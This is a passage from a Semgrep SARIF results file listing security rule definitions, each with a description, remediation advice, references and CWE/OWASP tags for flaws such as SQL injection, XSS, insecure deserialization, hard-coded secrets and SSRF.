CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.npmjs.com/package/bcrypt](https://www.npmjs.com/package/bcrypt)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use the `bcrypt` node.js package."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"javascript.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","id":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","name":"javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.firebase.firebase-hardcoded-secret.firebase-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","id":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","name":"python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.code.tainted-code-stdlib-aws-lambda.tainted-code-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape)\n - [http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/](http://www.managerjs.com/blog/2015/05/will-ejs-escape-save-me-from-xss-sorta/)\n","text":"Detected an explicit unescape in an EJS template, using '<%- ... %>' If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. Use '<%= ... %>' to escape this data. If you need escaping, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"help":{"markdown":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected the use of `$TRUST`. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. If you have to use `$TRUST`, ensure it does not come from user-input or use the appropriate prevention mechanism e.g. input validation or sanitization depending on the context."},"helpUri":"https://semgrep.dev/r/typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","id":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","name":"typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.security.audit.angular-domsanitizer.angular-bypasssecuritytrust"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"help":{"markdown":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key)\n - [https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/](https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/)\n - [https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d](https://gist.github.com/Skarlso/34321a230cf0245018288686c9e70b2d)\n","text":"Disabled host key verification detected. This allows man-in-the-middle attacks. Use the 'golang.org/x/crypto/ssh/knownhosts' package to do host key verification. See https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/ to learn more about the problem and how to fix it."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","id":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","name":"go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key","properties":{"precision":"very-high","tags":["CWE-322: Key Exchange without Entity Authentication","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.insecure_ssh.avoid-ssh-insecure-ignore-host-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"help":{"markdown":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect)\n - [https://brakemanscanner.org/docs/warning_types/redirect/](https://brakemanscanner.org/docs/warning_types/redirect/)\n","text":"When a redirect uses user input, a malicious user can spoof a website under a trusted URL or access restricted parts of a site. When using user-supplied values, sanitize the value before using it for the redirect."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","id":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","name":"ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-redirect.avoid-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using non literal values in `overrideSql(...)`."},"helpUri":"https://semgrep.dev/r/scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","id":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","name":"scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.slick.security.scala-slick-overridesql-literal.scala-slick-overrideSql-literal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint.pgx-sqli-taint","id":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","name":"go.net.sql.pgx-sqli-taint.pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint.pgx-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","id":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","name":"python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-numpy-pickle-fastapi.tainted-numpy-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","id":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","name":"java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string-deepsemgrep.formatted-sql-string-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"help":{"markdown":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"No validation of origin is done by the addEventListener API. It may be possible to exploit this flaw to perform Cross Origin attacks such as Cross-Site Scripting(XSS)."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","id":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","name":"javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.insufficient-postmessage-origin-validation.insufficient-postmessage-origin-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"help":{"markdown":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://developer.apple.com/documentation/security/randomization_services](https://developer.apple.com/documentation/security/randomization_services)\n","text":"Cryptographic operations were identified that leverage a hardcoded salt/nonce. A salt does not need to remain secret, but should be random, generated from cryptographically secure sources of entropy, such as an CSPRNG. On iOS/macOS platforms, secure random data can be obtained via the `SecCopyRandomBytes` API available from RandomizationServices."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-salt.hardcoded-salt","id":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","name":"swift.commoncrypto.hardcoded-salt.hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-323: Nonces should be used for the present occasion and only once.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-salt.hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","id":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","name":"java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer-deepsemgrep.no-direct-response-writer-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"help":{"markdown":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected SQL statement that is tainted by `$REQ` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements. An example of parameterized queries like so: `knex.raw('SELECT $1 from table', [userinput])` can help prevent SQLi."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","id":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","name":"javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.sqli.node-knex-sqli.node-knex-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-urllib3.tainted-django-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 